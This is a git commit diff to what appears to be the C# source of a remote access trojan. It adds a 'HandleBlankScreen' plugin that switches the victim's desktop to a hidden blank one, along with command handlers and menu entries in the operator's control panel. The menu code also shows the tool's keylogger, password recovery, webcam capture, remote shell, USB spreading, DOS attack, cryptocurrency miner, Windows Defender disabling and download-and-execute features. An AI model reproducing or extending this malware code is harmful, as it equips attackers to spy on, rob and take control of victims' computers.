added HandleBlankScreen
This commit is contained in:
NYAN CAT 2019-10-09 10:04:06 +03:00
parent c9f6cc5429
commit 9d517e9edc
6 changed files with 177 additions and 46 deletions

View File

@ -44,6 +44,7 @@
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<Compile Include="Connection.cs" /> <Compile Include="Connection.cs" />
<Compile Include="Handler\HandleBlankScreen.cs" />
<Compile Include="Handler\HandleDisableDefender.cs" /> <Compile Include="Handler\HandleDisableDefender.cs" />
<Compile Include="MessagePack\BytesTools.cs" /> <Compile Include="MessagePack\BytesTools.cs" />
<Compile Include="MessagePack\MsgPack.cs" /> <Compile Include="MessagePack\MsgPack.cs" />

View File

@ -0,0 +1,71 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
namespace Plugin.Handler
{
public class HandleBlankScreen
{
[DllImport("user32.dll")]
public static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
[DllImport("user32.dll")]
private static extern bool SwitchDesktop(IntPtr hDesktop);
[DllImport("user32.dll")]
public static extern bool CloseDesktop(IntPtr handle);
[DllImport("user32.dll")]
public static extern bool SetThreadDesktop(IntPtr hDesktop);
[DllImport("user32.dll")]
public static extern IntPtr GetThreadDesktop(int dwThreadId);
[DllImport("kernel32.dll")]
public static extern int GetCurrentThreadId();
enum DESKTOP_ACCESS : uint
{
DESKTOP_NONE = 0,
DESKTOP_READOBJECTS = 0x0001,
DESKTOP_CREATEWINDOW = 0x0002,
DESKTOP_CREATEMENU = 0x0004,
DESKTOP_HOOKCONTROL = 0x0008,
DESKTOP_JOURNALRECORD = 0x0010,
DESKTOP_JOURNALPLAYBACK = 0x0020,
DESKTOP_ENUMERATE = 0x0040,
DESKTOP_WRITEOBJECTS = 0x0080,
DESKTOP_SWITCHDESKTOP = 0x0100,
GENERIC_ALL = (DESKTOP_READOBJECTS | DESKTOP_CREATEWINDOW | DESKTOP_CREATEMENU |
DESKTOP_HOOKCONTROL | DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK |
DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS | DESKTOP_SWITCHDESKTOP),
}
// old desktop's handle, obtained by getting the current desktop assigned for this thread
public readonly IntPtr hOldDesktop = GetThreadDesktop(GetCurrentThreadId());
// new desktop's handle, assigned automatically by CreateDesktop
public IntPtr hNewDesktop = CreateDesktop("RandomDesktopName", IntPtr.Zero, IntPtr.Zero, 0, (uint)DESKTOP_ACCESS.GENERIC_ALL, IntPtr.Zero);
public void Run()
{
try
{
SwitchDesktop(hNewDesktop);
}
catch { }
}
public void Stop()
{
try
{
SwitchDesktop(hOldDesktop);
}
catch { }
}
}
}

View File

@ -45,6 +45,18 @@ namespace Plugin
break; break;
} }
case "blankscreen+":
{
new HandleBlankScreen().Run();
break;
}
case "blankscreen-":
{
new HandleBlankScreen().Stop();
break;
}
} }
} }
catch (Exception ex) catch (Exception ex)

View File

@ -119,6 +119,7 @@
this.pASSWORDRECOVERYToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.pASSWORDRECOVERYToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.downloadAndExecuteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.downloadAndExecuteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.sENDFILETOMEMORYToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.sENDFILETOMEMORYToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.minerToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.uPDATEToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.uPDATEToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator4 = new System.Windows.Forms.ToolStripSeparator(); this.toolStripSeparator4 = new System.Windows.Forms.ToolStripSeparator();
this.dELETETASKToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.dELETETASKToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
@ -126,7 +127,8 @@
this.performanceCounter2 = new System.Diagnostics.PerformanceCounter(); this.performanceCounter2 = new System.Diagnostics.PerformanceCounter();
this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components); this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components);
this.TimerTask = new System.Windows.Forms.Timer(this.components); this.TimerTask = new System.Windows.Forms.Timer(this.components);
this.minerToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.runToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem();
this.stopToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.contextMenuClient.SuspendLayout(); this.contextMenuClient.SuspendLayout();
this.statusStrip1.SuspendLayout(); this.statusStrip1.SuspendLayout();
this.tabControl1.SuspendLayout(); this.tabControl1.SuspendLayout();
@ -243,20 +245,20 @@
this.toolStripSeparator5, this.toolStripSeparator5,
this.bUILDERToolStripMenuItem}); this.bUILDERToolStripMenuItem});
this.contextMenuClient.Name = "contextMenuStrip1"; this.contextMenuClient.Name = "contextMenuStrip1";
this.contextMenuClient.Size = new System.Drawing.Size(203, 278); this.contextMenuClient.Size = new System.Drawing.Size(249, 311);
// //
// aBOUTToolStripMenuItem // aBOUTToolStripMenuItem
// //
this.aBOUTToolStripMenuItem.Image = global::Server.Properties.Resources.info; this.aBOUTToolStripMenuItem.Image = global::Server.Properties.Resources.info;
this.aBOUTToolStripMenuItem.Name = "aBOUTToolStripMenuItem"; this.aBOUTToolStripMenuItem.Name = "aBOUTToolStripMenuItem";
this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(202, 32); this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(248, 32);
this.aBOUTToolStripMenuItem.Text = "ABOUT"; this.aBOUTToolStripMenuItem.Text = "ABOUT";
this.aBOUTToolStripMenuItem.Click += new System.EventHandler(this.ABOUTToolStripMenuItem_Click); this.aBOUTToolStripMenuItem.Click += new System.EventHandler(this.ABOUTToolStripMenuItem_Click);
// //
// toolStripSeparator2 // toolStripSeparator2
// //
this.toolStripSeparator2.Name = "toolStripSeparator2"; this.toolStripSeparator2.Name = "toolStripSeparator2";
this.toolStripSeparator2.Size = new System.Drawing.Size(199, 6); this.toolStripSeparator2.Size = new System.Drawing.Size(245, 6);
// //
// sENDFILEToolStripMenuItem // sENDFILEToolStripMenuItem
// //
@ -265,14 +267,14 @@
this.tODISKToolStripMenuItem}); this.tODISKToolStripMenuItem});
this.sENDFILEToolStripMenuItem.Image = global::Server.Properties.Resources.tomem; this.sENDFILEToolStripMenuItem.Image = global::Server.Properties.Resources.tomem;
this.sENDFILEToolStripMenuItem.Name = "sENDFILEToolStripMenuItem"; this.sENDFILEToolStripMenuItem.Name = "sENDFILEToolStripMenuItem";
this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(202, 32); this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(248, 32);
this.sENDFILEToolStripMenuItem.Text = "Send File"; this.sENDFILEToolStripMenuItem.Text = "Send File";
// //
// tOMEMORYToolStripMenuItem // tOMEMORYToolStripMenuItem
// //
this.tOMEMORYToolStripMenuItem.Image = global::Server.Properties.Resources.tomem1; this.tOMEMORYToolStripMenuItem.Image = global::Server.Properties.Resources.tomem1;
this.tOMEMORYToolStripMenuItem.Name = "tOMEMORYToolStripMenuItem"; this.tOMEMORYToolStripMenuItem.Name = "tOMEMORYToolStripMenuItem";
this.tOMEMORYToolStripMenuItem.Size = new System.Drawing.Size(206, 34); this.tOMEMORYToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.tOMEMORYToolStripMenuItem.Text = "To Memory"; this.tOMEMORYToolStripMenuItem.Text = "To Memory";
this.tOMEMORYToolStripMenuItem.Click += new System.EventHandler(this.TOMEMORYToolStripMenuItem_Click); this.tOMEMORYToolStripMenuItem.Click += new System.EventHandler(this.TOMEMORYToolStripMenuItem_Click);
// //
@ -280,7 +282,7 @@
// //
this.tODISKToolStripMenuItem.Image = global::Server.Properties.Resources.tomem1; this.tODISKToolStripMenuItem.Image = global::Server.Properties.Resources.tomem1;
this.tODISKToolStripMenuItem.Name = "tODISKToolStripMenuItem"; this.tODISKToolStripMenuItem.Name = "tODISKToolStripMenuItem";
this.tODISKToolStripMenuItem.Size = new System.Drawing.Size(206, 34); this.tODISKToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.tODISKToolStripMenuItem.Text = "To Disk"; this.tODISKToolStripMenuItem.Text = "To Disk";
this.tODISKToolStripMenuItem.Click += new System.EventHandler(this.TODISKToolStripMenuItem_Click); this.tODISKToolStripMenuItem.Click += new System.EventHandler(this.TODISKToolStripMenuItem_Click);
// //
@ -296,14 +298,14 @@
this.webcamToolStripMenuItem}); this.webcamToolStripMenuItem});
this.monitoringToolStripMenuItem.Image = global::Server.Properties.Resources.monitoring_system; this.monitoringToolStripMenuItem.Image = global::Server.Properties.Resources.monitoring_system;
this.monitoringToolStripMenuItem.Name = "monitoringToolStripMenuItem"; this.monitoringToolStripMenuItem.Name = "monitoringToolStripMenuItem";
this.monitoringToolStripMenuItem.Size = new System.Drawing.Size(202, 32); this.monitoringToolStripMenuItem.Size = new System.Drawing.Size(248, 32);
this.monitoringToolStripMenuItem.Text = "Monitoring"; this.monitoringToolStripMenuItem.Text = "Monitoring";
// //
// remoteDesktopToolStripMenuItem1 // remoteDesktopToolStripMenuItem1
// //
this.remoteDesktopToolStripMenuItem1.Image = global::Server.Properties.Resources.remotedesktop; this.remoteDesktopToolStripMenuItem1.Image = global::Server.Properties.Resources.remotedesktop;
this.remoteDesktopToolStripMenuItem1.Name = "remoteDesktopToolStripMenuItem1"; this.remoteDesktopToolStripMenuItem1.Name = "remoteDesktopToolStripMenuItem1";
this.remoteDesktopToolStripMenuItem1.Size = new System.Drawing.Size(267, 34); this.remoteDesktopToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.remoteDesktopToolStripMenuItem1.Text = "Remote Desktop"; this.remoteDesktopToolStripMenuItem1.Text = "Remote Desktop";
this.remoteDesktopToolStripMenuItem1.Click += new System.EventHandler(this.RemoteDesktopToolStripMenuItem1_Click); this.remoteDesktopToolStripMenuItem1.Click += new System.EventHandler(this.RemoteDesktopToolStripMenuItem1_Click);
// //
@ -311,7 +313,7 @@
// //
this.keyloggerToolStripMenuItem1.Image = global::Server.Properties.Resources.logger; this.keyloggerToolStripMenuItem1.Image = global::Server.Properties.Resources.logger;
this.keyloggerToolStripMenuItem1.Name = "keyloggerToolStripMenuItem1"; this.keyloggerToolStripMenuItem1.Name = "keyloggerToolStripMenuItem1";
this.keyloggerToolStripMenuItem1.Size = new System.Drawing.Size(267, 34); this.keyloggerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.keyloggerToolStripMenuItem1.Text = "Keylogger"; this.keyloggerToolStripMenuItem1.Text = "Keylogger";
this.keyloggerToolStripMenuItem1.Click += new System.EventHandler(this.KeyloggerToolStripMenuItem1_Click); this.keyloggerToolStripMenuItem1.Click += new System.EventHandler(this.KeyloggerToolStripMenuItem1_Click);
// //
@ -319,7 +321,7 @@
// //
this.passwordRecoveryToolStripMenuItem1.Image = global::Server.Properties.Resources.key; this.passwordRecoveryToolStripMenuItem1.Image = global::Server.Properties.Resources.key;
this.passwordRecoveryToolStripMenuItem1.Name = "passwordRecoveryToolStripMenuItem1"; this.passwordRecoveryToolStripMenuItem1.Name = "passwordRecoveryToolStripMenuItem1";
this.passwordRecoveryToolStripMenuItem1.Size = new System.Drawing.Size(267, 34); this.passwordRecoveryToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.passwordRecoveryToolStripMenuItem1.Text = "Password Recovery"; this.passwordRecoveryToolStripMenuItem1.Text = "Password Recovery";
this.passwordRecoveryToolStripMenuItem1.Click += new System.EventHandler(this.PasswordRecoveryToolStripMenuItem1_Click); this.passwordRecoveryToolStripMenuItem1.Click += new System.EventHandler(this.PasswordRecoveryToolStripMenuItem1_Click);
// //
@ -327,7 +329,7 @@
// //
this.fileManagerToolStripMenuItem1.Image = global::Server.Properties.Resources.filemanager; this.fileManagerToolStripMenuItem1.Image = global::Server.Properties.Resources.filemanager;
this.fileManagerToolStripMenuItem1.Name = "fileManagerToolStripMenuItem1"; this.fileManagerToolStripMenuItem1.Name = "fileManagerToolStripMenuItem1";
this.fileManagerToolStripMenuItem1.Size = new System.Drawing.Size(267, 34); this.fileManagerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.fileManagerToolStripMenuItem1.Text = "File Manager"; this.fileManagerToolStripMenuItem1.Text = "File Manager";
this.fileManagerToolStripMenuItem1.Click += new System.EventHandler(this.FileManagerToolStripMenuItem1_Click); this.fileManagerToolStripMenuItem1.Click += new System.EventHandler(this.FileManagerToolStripMenuItem1_Click);
// //
@ -335,7 +337,7 @@
// //
this.processManagerToolStripMenuItem1.Image = global::Server.Properties.Resources.process; this.processManagerToolStripMenuItem1.Image = global::Server.Properties.Resources.process;
this.processManagerToolStripMenuItem1.Name = "processManagerToolStripMenuItem1"; this.processManagerToolStripMenuItem1.Name = "processManagerToolStripMenuItem1";
this.processManagerToolStripMenuItem1.Size = new System.Drawing.Size(267, 34); this.processManagerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.processManagerToolStripMenuItem1.Text = "Process Manager"; this.processManagerToolStripMenuItem1.Text = "Process Manager";
this.processManagerToolStripMenuItem1.Click += new System.EventHandler(this.ProcessManagerToolStripMenuItem1_Click); this.processManagerToolStripMenuItem1.Click += new System.EventHandler(this.ProcessManagerToolStripMenuItem1_Click);
// //
@ -346,7 +348,7 @@
this.stopToolStripMenuItem2}); this.stopToolStripMenuItem2});
this.reportWindowToolStripMenuItem.Image = global::Server.Properties.Resources.report; this.reportWindowToolStripMenuItem.Image = global::Server.Properties.Resources.report;
this.reportWindowToolStripMenuItem.Name = "reportWindowToolStripMenuItem"; this.reportWindowToolStripMenuItem.Name = "reportWindowToolStripMenuItem";
this.reportWindowToolStripMenuItem.Size = new System.Drawing.Size(267, 34); this.reportWindowToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.reportWindowToolStripMenuItem.Text = "Report Window"; this.reportWindowToolStripMenuItem.Text = "Report Window";
// //
// runToolStripMenuItem1 // runToolStripMenuItem1
@ -367,7 +369,7 @@
// //
this.webcamToolStripMenuItem.Image = global::Server.Properties.Resources.webcam; this.webcamToolStripMenuItem.Image = global::Server.Properties.Resources.webcam;
this.webcamToolStripMenuItem.Name = "webcamToolStripMenuItem"; this.webcamToolStripMenuItem.Name = "webcamToolStripMenuItem";
this.webcamToolStripMenuItem.Size = new System.Drawing.Size(267, 34); this.webcamToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.webcamToolStripMenuItem.Text = "Webcam"; this.webcamToolStripMenuItem.Text = "Webcam";
this.webcamToolStripMenuItem.Click += new System.EventHandler(this.WebcamToolStripMenuItem_Click); this.webcamToolStripMenuItem.Click += new System.EventHandler(this.WebcamToolStripMenuItem_Click);
// //
@ -383,14 +385,14 @@
this.xMRMinerToolStripMenuItem}); this.xMRMinerToolStripMenuItem});
this.miscellaneousToolStripMenuItem.Image = global::Server.Properties.Resources.Miscellaneous; this.miscellaneousToolStripMenuItem.Image = global::Server.Properties.Resources.Miscellaneous;
this.miscellaneousToolStripMenuItem.Name = "miscellaneousToolStripMenuItem"; this.miscellaneousToolStripMenuItem.Name = "miscellaneousToolStripMenuItem";
this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(202, 32); this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(248, 32);
this.miscellaneousToolStripMenuItem.Text = "Miscellaneous"; this.miscellaneousToolStripMenuItem.Text = "Miscellaneous";
// //
// botsKillerToolStripMenuItem // botsKillerToolStripMenuItem
// //
this.botsKillerToolStripMenuItem.Image = global::Server.Properties.Resources.botkiller; this.botsKillerToolStripMenuItem.Image = global::Server.Properties.Resources.botkiller;
this.botsKillerToolStripMenuItem.Name = "botsKillerToolStripMenuItem"; this.botsKillerToolStripMenuItem.Name = "botsKillerToolStripMenuItem";
this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(260, 34); this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.botsKillerToolStripMenuItem.Text = "Bots Killer"; this.botsKillerToolStripMenuItem.Text = "Bots Killer";
this.botsKillerToolStripMenuItem.Click += new System.EventHandler(this.BotsKillerToolStripMenuItem_Click); this.botsKillerToolStripMenuItem.Click += new System.EventHandler(this.BotsKillerToolStripMenuItem_Click);
// //
@ -398,7 +400,7 @@
// //
this.uSBSpreadToolStripMenuItem1.Image = global::Server.Properties.Resources.usb; this.uSBSpreadToolStripMenuItem1.Image = global::Server.Properties.Resources.usb;
this.uSBSpreadToolStripMenuItem1.Name = "uSBSpreadToolStripMenuItem1"; this.uSBSpreadToolStripMenuItem1.Name = "uSBSpreadToolStripMenuItem1";
this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(260, 34); this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.uSBSpreadToolStripMenuItem1.Text = "USB Spread"; this.uSBSpreadToolStripMenuItem1.Text = "USB Spread";
this.uSBSpreadToolStripMenuItem1.Click += new System.EventHandler(this.USBSpreadToolStripMenuItem1_Click); this.uSBSpreadToolStripMenuItem1.Click += new System.EventHandler(this.USBSpreadToolStripMenuItem1_Click);
// //
@ -406,7 +408,7 @@
// //
this.seedTorrentToolStripMenuItem1.Image = global::Server.Properties.Resources.u_torrent_logo; this.seedTorrentToolStripMenuItem1.Image = global::Server.Properties.Resources.u_torrent_logo;
this.seedTorrentToolStripMenuItem1.Name = "seedTorrentToolStripMenuItem1"; this.seedTorrentToolStripMenuItem1.Name = "seedTorrentToolStripMenuItem1";
this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(260, 34); this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.seedTorrentToolStripMenuItem1.Text = "Seed Torrent"; this.seedTorrentToolStripMenuItem1.Text = "Seed Torrent";
this.seedTorrentToolStripMenuItem1.Click += new System.EventHandler(this.SeedTorrentToolStripMenuItem1_Click_1); this.seedTorrentToolStripMenuItem1.Click += new System.EventHandler(this.SeedTorrentToolStripMenuItem1_Click_1);
// //
@ -414,7 +416,7 @@
// //
this.remoteShellToolStripMenuItem1.Image = global::Server.Properties.Resources.shell; this.remoteShellToolStripMenuItem1.Image = global::Server.Properties.Resources.shell;
this.remoteShellToolStripMenuItem1.Name = "remoteShellToolStripMenuItem1"; this.remoteShellToolStripMenuItem1.Name = "remoteShellToolStripMenuItem1";
this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(260, 34); this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.remoteShellToolStripMenuItem1.Text = "Remote Shell"; this.remoteShellToolStripMenuItem1.Text = "Remote Shell";
this.remoteShellToolStripMenuItem1.Click += new System.EventHandler(this.RemoteShellToolStripMenuItem1_Click_1); this.remoteShellToolStripMenuItem1.Click += new System.EventHandler(this.RemoteShellToolStripMenuItem1_Click_1);
// //
@ -422,7 +424,7 @@
// //
this.dOSAttackToolStripMenuItem.Image = global::Server.Properties.Resources.ddos; this.dOSAttackToolStripMenuItem.Image = global::Server.Properties.Resources.ddos;
this.dOSAttackToolStripMenuItem.Name = "dOSAttackToolStripMenuItem"; this.dOSAttackToolStripMenuItem.Name = "dOSAttackToolStripMenuItem";
this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(260, 34); this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.dOSAttackToolStripMenuItem.Text = "DOS Attack"; this.dOSAttackToolStripMenuItem.Text = "DOS Attack";
this.dOSAttackToolStripMenuItem.Click += new System.EventHandler(this.DOSAttackToolStripMenuItem_Click_1); this.dOSAttackToolStripMenuItem.Click += new System.EventHandler(this.DOSAttackToolStripMenuItem_Click_1);
// //
@ -430,7 +432,7 @@
// //
this.executeNETCodeToolStripMenuItem.Image = global::Server.Properties.Resources.coding; this.executeNETCodeToolStripMenuItem.Image = global::Server.Properties.Resources.coding;
this.executeNETCodeToolStripMenuItem.Name = "executeNETCodeToolStripMenuItem"; this.executeNETCodeToolStripMenuItem.Name = "executeNETCodeToolStripMenuItem";
this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(260, 34); this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.executeNETCodeToolStripMenuItem.Text = "Execute .NET Code"; this.executeNETCodeToolStripMenuItem.Text = "Execute .NET Code";
this.executeNETCodeToolStripMenuItem.Click += new System.EventHandler(this.ExecuteNETCodeToolStripMenuItem_Click_1); this.executeNETCodeToolStripMenuItem.Click += new System.EventHandler(this.ExecuteNETCodeToolStripMenuItem_Click_1);
// //
@ -441,14 +443,14 @@
this.killToolStripMenuItem}); this.killToolStripMenuItem});
this.xMRMinerToolStripMenuItem.Image = global::Server.Properties.Resources.xmr; this.xMRMinerToolStripMenuItem.Image = global::Server.Properties.Resources.xmr;
this.xMRMinerToolStripMenuItem.Name = "xMRMinerToolStripMenuItem"; this.xMRMinerToolStripMenuItem.Name = "xMRMinerToolStripMenuItem";
this.xMRMinerToolStripMenuItem.Size = new System.Drawing.Size(260, 34); this.xMRMinerToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.xMRMinerToolStripMenuItem.Text = "XMR Miner"; this.xMRMinerToolStripMenuItem.Text = "XMR Miner";
// //
// runToolStripMenuItem // runToolStripMenuItem
// //
this.runToolStripMenuItem.Image = global::Server.Properties.Resources.tomem1; this.runToolStripMenuItem.Image = global::Server.Properties.Resources.play_button;
this.runToolStripMenuItem.Name = "runToolStripMenuItem"; this.runToolStripMenuItem.Name = "runToolStripMenuItem";
this.runToolStripMenuItem.Size = new System.Drawing.Size(152, 34); this.runToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.runToolStripMenuItem.Text = "Run"; this.runToolStripMenuItem.Text = "Run";
this.runToolStripMenuItem.Click += new System.EventHandler(this.RunToolStripMenuItem_Click); this.runToolStripMenuItem.Click += new System.EventHandler(this.RunToolStripMenuItem_Click);
// //
@ -456,7 +458,7 @@
// //
this.killToolStripMenuItem.Image = global::Server.Properties.Resources.stop__1_; this.killToolStripMenuItem.Image = global::Server.Properties.Resources.stop__1_;
this.killToolStripMenuItem.Name = "killToolStripMenuItem"; this.killToolStripMenuItem.Name = "killToolStripMenuItem";
this.killToolStripMenuItem.Size = new System.Drawing.Size(152, 34); this.killToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.killToolStripMenuItem.Text = "Stop"; this.killToolStripMenuItem.Text = "Stop";
this.killToolStripMenuItem.Click += new System.EventHandler(this.KillToolStripMenuItem_Click); this.killToolStripMenuItem.Click += new System.EventHandler(this.KillToolStripMenuItem_Click);
// //
@ -471,7 +473,7 @@
this.disableWindowsDefenderToolStripMenuItem}); this.disableWindowsDefenderToolStripMenuItem});
this.extraToolStripMenuItem.Image = global::Server.Properties.Resources.extra; this.extraToolStripMenuItem.Image = global::Server.Properties.Resources.extra;
this.extraToolStripMenuItem.Name = "extraToolStripMenuItem"; this.extraToolStripMenuItem.Name = "extraToolStripMenuItem";
this.extraToolStripMenuItem.Size = new System.Drawing.Size(202, 32); this.extraToolStripMenuItem.Size = new System.Drawing.Size(248, 32);
this.extraToolStripMenuItem.Text = "Extra"; this.extraToolStripMenuItem.Text = "Extra";
// //
// visitWebsiteToolStripMenuItem1 // visitWebsiteToolStripMenuItem1
@ -508,11 +510,13 @@
// //
// blankScreenToolStripMenuItem // blankScreenToolStripMenuItem
// //
this.blankScreenToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.runToolStripMenuItem2,
this.stopToolStripMenuItem1});
this.blankScreenToolStripMenuItem.Image = global::Server.Properties.Resources.blank_screen; this.blankScreenToolStripMenuItem.Image = global::Server.Properties.Resources.blank_screen;
this.blankScreenToolStripMenuItem.Name = "blankScreenToolStripMenuItem"; this.blankScreenToolStripMenuItem.Name = "blankScreenToolStripMenuItem";
this.blankScreenToolStripMenuItem.Size = new System.Drawing.Size(329, 34); this.blankScreenToolStripMenuItem.Size = new System.Drawing.Size(329, 34);
this.blankScreenToolStripMenuItem.Text = "Blank Screen"; this.blankScreenToolStripMenuItem.Text = "Blank Screen";
this.blankScreenToolStripMenuItem.Click += new System.EventHandler(this.BlankScreenToolStripMenuItem_Click);
// //
// disableWindowsDefenderToolStripMenuItem // disableWindowsDefenderToolStripMenuItem
// //
@ -529,7 +533,7 @@
this.pCToolStripMenuItem}); this.pCToolStripMenuItem});
this.systemToolStripMenuItem.Image = global::Server.Properties.Resources.system; this.systemToolStripMenuItem.Image = global::Server.Properties.Resources.system;
this.systemToolStripMenuItem.Name = "systemToolStripMenuItem"; this.systemToolStripMenuItem.Name = "systemToolStripMenuItem";
this.systemToolStripMenuItem.Size = new System.Drawing.Size(202, 32); this.systemToolStripMenuItem.Size = new System.Drawing.Size(248, 32);
this.systemToolStripMenuItem.Text = "System"; this.systemToolStripMenuItem.Text = "System";
// //
// clientToolStripMenuItem // clientToolStripMenuItem
@ -543,7 +547,7 @@
this.showFolderToolStripMenuItem}); this.showFolderToolStripMenuItem});
this.clientToolStripMenuItem.Image = global::Server.Properties.Resources.client; this.clientToolStripMenuItem.Image = global::Server.Properties.Resources.client;
this.clientToolStripMenuItem.Name = "clientToolStripMenuItem"; this.clientToolStripMenuItem.Name = "clientToolStripMenuItem";
this.clientToolStripMenuItem.Size = new System.Drawing.Size(158, 34); this.clientToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.clientToolStripMenuItem.Text = "Client"; this.clientToolStripMenuItem.Text = "Client";
// //
// closeToolStripMenuItem1 // closeToolStripMenuItem1
@ -594,7 +598,7 @@
this.shutdownToolStripMenuItem1}); this.shutdownToolStripMenuItem1});
this.pCToolStripMenuItem.Image = global::Server.Properties.Resources.pc; this.pCToolStripMenuItem.Image = global::Server.Properties.Resources.pc;
this.pCToolStripMenuItem.Name = "pCToolStripMenuItem"; this.pCToolStripMenuItem.Name = "pCToolStripMenuItem";
this.pCToolStripMenuItem.Size = new System.Drawing.Size(158, 34); this.pCToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.pCToolStripMenuItem.Text = "PC"; this.pCToolStripMenuItem.Text = "PC";
// //
// logoffToolStripMenuItem1 // logoffToolStripMenuItem1
@ -621,7 +625,7 @@
// toolStripSeparator1 // toolStripSeparator1
// //
this.toolStripSeparator1.Name = "toolStripSeparator1"; this.toolStripSeparator1.Name = "toolStripSeparator1";
this.toolStripSeparator1.Size = new System.Drawing.Size(199, 6); this.toolStripSeparator1.Size = new System.Drawing.Size(245, 6);
// //
// serverToolStripMenuItem // serverToolStripMenuItem
// //
@ -629,27 +633,27 @@
this.blockClientsToolStripMenuItem}); this.blockClientsToolStripMenuItem});
this.serverToolStripMenuItem.Image = global::Server.Properties.Resources.server; this.serverToolStripMenuItem.Image = global::Server.Properties.Resources.server;
this.serverToolStripMenuItem.Name = "serverToolStripMenuItem"; this.serverToolStripMenuItem.Name = "serverToolStripMenuItem";
this.serverToolStripMenuItem.Size = new System.Drawing.Size(202, 32); this.serverToolStripMenuItem.Size = new System.Drawing.Size(248, 32);
this.serverToolStripMenuItem.Text = "Server"; this.serverToolStripMenuItem.Text = "Server";
// //
// blockClientsToolStripMenuItem // blockClientsToolStripMenuItem
// //
this.blockClientsToolStripMenuItem.Image = global::Server.Properties.Resources.disabled; this.blockClientsToolStripMenuItem.Image = global::Server.Properties.Resources.disabled;
this.blockClientsToolStripMenuItem.Name = "blockClientsToolStripMenuItem"; this.blockClientsToolStripMenuItem.Name = "blockClientsToolStripMenuItem";
this.blockClientsToolStripMenuItem.Size = new System.Drawing.Size(213, 34); this.blockClientsToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.blockClientsToolStripMenuItem.Text = "Block Clients"; this.blockClientsToolStripMenuItem.Text = "Block Clients";
this.blockClientsToolStripMenuItem.Click += new System.EventHandler(this.BlockClientsToolStripMenuItem_Click); this.blockClientsToolStripMenuItem.Click += new System.EventHandler(this.BlockClientsToolStripMenuItem_Click);
// //
// toolStripSeparator5 // toolStripSeparator5
// //
this.toolStripSeparator5.Name = "toolStripSeparator5"; this.toolStripSeparator5.Name = "toolStripSeparator5";
this.toolStripSeparator5.Size = new System.Drawing.Size(199, 6); this.toolStripSeparator5.Size = new System.Drawing.Size(245, 6);
// //
// bUILDERToolStripMenuItem // bUILDERToolStripMenuItem
// //
this.bUILDERToolStripMenuItem.Image = global::Server.Properties.Resources.builder; this.bUILDERToolStripMenuItem.Image = global::Server.Properties.Resources.builder;
this.bUILDERToolStripMenuItem.Name = "bUILDERToolStripMenuItem"; this.bUILDERToolStripMenuItem.Name = "bUILDERToolStripMenuItem";
this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(202, 32); this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(248, 32);
this.bUILDERToolStripMenuItem.Text = "BUILDER"; this.bUILDERToolStripMenuItem.Text = "BUILDER";
this.bUILDERToolStripMenuItem.Click += new System.EventHandler(this.bUILDERToolStripMenuItem_Click); this.bUILDERToolStripMenuItem.Click += new System.EventHandler(this.bUILDERToolStripMenuItem_Click);
// //
@ -877,7 +881,7 @@
this.dELETETASKToolStripMenuItem}); this.dELETETASKToolStripMenuItem});
